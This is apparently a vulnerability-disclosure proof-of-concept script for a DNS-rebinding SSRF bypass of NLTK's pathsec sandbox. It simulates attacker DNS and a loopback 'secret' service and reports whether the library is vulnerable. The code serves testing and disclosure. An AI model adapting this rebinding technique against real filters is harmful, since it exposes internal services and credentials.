NLTK pathsec CVE-2026-12075

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True
# the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"
# attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"
# public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]
# ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"
# 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()
# fresh validation cache, as on a real process
    try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()